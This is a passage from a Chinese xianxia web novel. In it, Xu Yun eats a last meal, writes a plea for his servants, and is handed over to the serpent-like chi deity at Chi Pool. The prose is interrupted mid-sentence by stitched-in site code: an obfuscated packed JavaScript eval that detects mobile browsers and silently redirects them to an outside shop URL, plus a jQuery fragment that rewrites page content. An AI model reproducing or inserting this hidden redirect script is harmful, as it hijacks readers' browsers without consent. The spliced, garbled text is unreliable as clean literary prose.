人定已过,小院内外仍旧灯火通明。
除了在院中守着的羽林卫,另有几个健仆奉许永宜之命在院门外看守。
因为今日许昀从小院中逃了出去,临书和此前守在小院的几个人,个个儿都被祥福带去领了家法。
一个健仆脚边放着巡夜灯,靠在门前的大石上打盹,不多久便热得一身臭汗。
他口干舌燥,迷迷糊糊起身,同身旁人粗声粗气地抱怨:“这鬼热的天气,当真要把人烧焦烤干,我熬不住了,要去井边打些水来喝。”
他顺着小路走了不到百步,恍恍惚惚看见前方大树下有个人影,朝他走过来。
健仆高举夜灯,朝那人影仔细看去。
看水葱似的身形像是个秀丽娘子,手上挽着个漆红食盒,像是来小院送饭的。
今晚许永宜特意吩咐过下人,有天子近卫留在小院中,除了侯在小院看守通传消息的几人,任何人不得在府中喧哗走动。
健仆离得远,看不真切那娘子的长相,只从衣着上判断,当是家中婢女。
“站住,深更半夜,你来此做什么?不怕挨罚么!”
话刚喊出口,健仆就见那身影定在树下,慢慢变作淡白色,如同融化在暗夜中的雾气一般,转瞬荡散在四周。
健仆浑身一僵,生怕自己眼花看错,猛搓了搓眼睛。
再睁眼时,月亮挂在树梢头,洒落眼前一片静默的暗色树影,稀疏林间一眼便可扫尽,哪有什么送饭娘子!
健仆骇然,想起此前家里下人私下议论,都说二郎君的小院周围暗影幢幢,尽围绕着些不干净的东西。
方才那娘子……怕不是什么邪物!
顿时,健仆两股战战,拔腿跌跌撞撞地往回跑,边跑边大声喊道:“有鬼啊!”
小院中,羽林卫将书房门口包裹了个严实,一只蝇子都飞不进去。
一阵微凉夜风吹过,热汗淋漓的侍卫们只觉浑身舒爽。
细听屋内,似乎传来了少年郎君的说话声,不知是读书声,还是在与人低语。
为首的羽林卫看向映在窗上的剪影,小郎君脸颊流畅,身姿笔挺,即使未见其面的人看见这一幕也能知他是个俊朗少年。
屋中除了这郎君,又怎会有旁人。
他嗤笑一声,暗自嘀咕:“还有几个时辰就要去送命了,此时还有心思读书,真是呆子一个。”
青瑶捧着食盒,悄无声息地穿过门外的羽林卫,从门入屋。
少年郎君抬首,看了眼房门处,羽林卫知他命数将近,或许有所怜悯,竟让家中婢女进屋送饭来了。
青瑶给许昀行了一礼,“老主君说郎君明日离家,再难吃到家中可口的饭菜,命婢子送来几样郎君爱吃的。”
许昀微微颔首。
此时的他,比青瑶刚来时,更为瘦削,也更为挺拔了。
写好了最后几个字,少年放下手中的竹笔,吹了吹纸上未干的墨迹,问道:“你可是去岁重阳在火场中死里逃生的婢女?”
“郎君,正是婢子,婢子名为……阿芍。”
向来不苟言笑的少年朝她朗然一笑,将手中的纸折了三折压在白玉镇纸下,将桌上的墨候,笔洗等物推到一旁,示意青瑶将食盒放在桌上。
往常,少年眉宇之间常笼着一层似有若无的愁容,如同凝着万年不化的寒冰,今晚却如释重负,再看不到了。
青瑶还是第一次见他笑,不由跟着提起了嘴角。
她将碗碟一样一样摆在桌案上,又盛了些饭递到他身前。
许昀着接过竹筷,每样菜都夹起尝了几口,目光中流露出一丝留恋。
“家中的饭菜果然适口,让人分外不舍。”
青瑶看着他吃饭,站在一侧沉默不语,内心酸楚不已。
他明日就要被送去螭潭,是死是活全然未知,却能如此平静地享受着家中饭食,仿佛即将到来的是极其平常的一天。
“郎君,您若是不想去螭潭,为何不逃呢?婢子……可以帮您。”
许昀抬头,眸中闪过一丝复杂神色,这个不知天高地厚的婢女,年纪与自己差不多,秀丽的面庞因整日待在厨房,笼着一层淡淡的尘灰。
她眼前的世界比自己的大不了多少,但却自在纯净,自然不会知道他逃了,意味着什么。
他若妄为,对于许家,便是欺君灭门的大罪。
许昀垂眸,面容平静,“我自愿去螭潭,为何要逃呢!”
他将碗筷搁下,起身走到书架前,抽出一本书来,将方才写好的字条塞了进去,递给青瑶,语气淡淡,“阿芍,烦你待我走后将这本书拿给我大父。”
他又叮嘱道:“你日后好生注意安全,能活着甚好!”
窗外一阵凉风吹过,廊下舒爽至极,一个羽林卫仰天叹道:“莫非螭神现在就知道明日去的是真正的许家郎君,就要来雨了?”
—
青瑶蹲坐在房顶上,轻轻敲打着瓦片,一团黝黑的肉球从脚边跌跌撞撞地滚了过来。
阿九头上杂草蓬乱,眼里一半伤心,一半恐惧,委屈巴巴道:“我真的没有主动去找二郎君,是他非求着我让我带他出去的,仙子你信我啊!他……看得见我。”
青瑶自然知晓就算没有阿九的帮忙,许永宜也会带黄门郎和羽林卫来小院将许昀带走,她并非是来兴师问罪的。
傍晚时候,阿九带着许昀离开了小院,之后满脑子都是懵的。
许昀能看得见他,他自然十分开心,想着日后日日有点心吃,又能常伴许昀左右,当真是天大的美事。
可紧接着他就看见许昀走向人群,说他甘愿去螭潭与大螭为奴。
若是日后与他再也不得相见,即便是有他最爱吃的点心,能在院中欢腾跳跃,他也食不下咽。
阿九将临书带回来的那盒点推倒青瑶身前,“二郎君明日就要被送去螭潭,可我法力低微,离不得原身太远,仙子你也不想他死的对不对,你救救他好不好?只要你去救他,这些点心我都留给你。”
这小妖心智如同人类幼年,所思所想纯净又简单,他根本不知道那大螭为神物,即便是被贬落凡间,依然有着众妖不敌的法力。
青瑶将点心又推还给他,叮嘱道:“你留着吃吧,我有一事要托你去办,明日晚上若郎君未归,你便去找隔壁无疾堂的肖郎中,让他想办法救二郎君。”
说毕,青瑶又把手中书册递给阿九,“待我走后,你偷偷将此书放在老主君房门口。”
阿九好奇地将书册晃了晃,内里的字条掉出来,展开在二人眼前。
少年郎君的笔触清冽,遒劲有力。
纸条上短短几行字,除了劝许知春好好保重自身,便是替临书和此前看守小院的几个健仆求情。
许昀说他是顺着后窗边的竹竿爬到了外面,跟小院中的下人毫无干系。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025253|194370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
阿九整日蹲坐房顶,受了许昀诗书气所感,虽然法力低微,却也是认得字的,他将其上的字一字一句地读了出来,不禁失声痛哭。
“二郎君都要没命了,却还想着那几个奴婢是否要挨打,他这般性情的人,为什么这么命苦!”
阿九喋喋不休,哭个不停。
东方渐白时,一众羽林卫将红衣披在许昀身上,将他带出了小院。
螭潭旁照旧围了许多人。
许知春回房后便卧床不起,连说话都有些困难,他不忍亲眼看见孙子被大螭带走,便命祥福带着几个下人去螭潭送许昀一程。
有了前车之鉴,黄门郎为了让一众百姓看清今日的郎君并非有假,未让羽林卫对其蒙眼绑手。
尚未等等羽林卫催促,许昀淡然地从轺车跳了下来,红色衣摆垂地,拖在修长的身躯之后。
炽烈阳光洒在他皎皎的面庞上,也驱散了周围的山雾。
众人纷纷侧目,昨日去许府闹事的百十来人,混杂在人群中,虽是见过许昀,也不由得与其余人一同直叹可惜。
站在人群前的一个老妇,昨日曾在孔家集村口见过那具红衣干尸,害怕道:“咳,多好的小郎君啊,可不要像昨日的那个惨死了才好。”
众人呸了她一声,“若是这个郎君还不能让螭神满意,这圣京恐怕再也找不出其他了。”
“只可惜啊,这俊俏郎君日后只能在山野中陪着螭神,不知有多少小娘子今晚要难以成眠喽。”
“你们懂什么,这是别人求而不得的福分,螭神是神物,终归是要回天庭的,许二郎君去侍奉螭神,说不定也能因此而得道,于他来说岂不是好事。”
纷乱言语落在少年的耳中,仿佛句句皆是他的催命符,他手掌微微用力,攥住了飘摆的轻薄衣袖,快步穿过人群,紧跟在神婆身后。
螭潭落在谷底,四周皆是丈许高的光秃绝壁,绝壁上飞泻出一段银白瀑布,湍泻奔流,跌落进幽深莹碧的潭水中。
圣京连月干旱,此地却水源不绝,足可见为灵山福地,有神物庇佑。
少年垂首望向崖底,心头一阵惶恐。
普通人若是落入其中,绝无再攀爬上来的可能。
他转身紧闭双眼,在心底默念他刚启蒙时祖父教他念的《千字文》,心中稍微平静了一些。
神婆手摇银铃,围着少年开始呼喊跳动,片刻,潭底大螭似有所感,一阵浑浊细雾铺面而来,夹杂着浓烈的腥臭气味,几欲让人窒息。
浊雾自潭中升腾而至,越积越多,一丈开外的人群也渐渐闻到了异味,众人骇异地捂住口鼻,议论纷纷。
说来奇怪,大螭是神物,怎会如臭鱼烂虾一般腥臭难闻。
一人瞳孔猛然放大,朝众人喊道:“快看,螭神现身了!”
雾气中蛇形巨尾翻腾跳跃,众人不顾周遭的难闻气味,惊呼声、祈祷声一浪高过一浪,几乎要盖住神婆的呼喊。
许昀紧闭着双眸,瘦削的双肩微微颤抖,一阵冷风自潭下盘旋而上,瞬间包裹住他的周身,滑腻如蛇的长尾卷起他的腰肢,让他瞬间动弹不得,冰冷的皮肤摩挲过他的指尖,令人毛骨悚然。
大螭一阵咯咯怪笑,语调柔媚清越,犹如娇羞至极的新嫁娘子。
“许二郎君,本神可算等到你了。”
许昀不敢睁眼,闻声脑中空茫一片,恨不得大螭在此时扭断了他的脖子才好。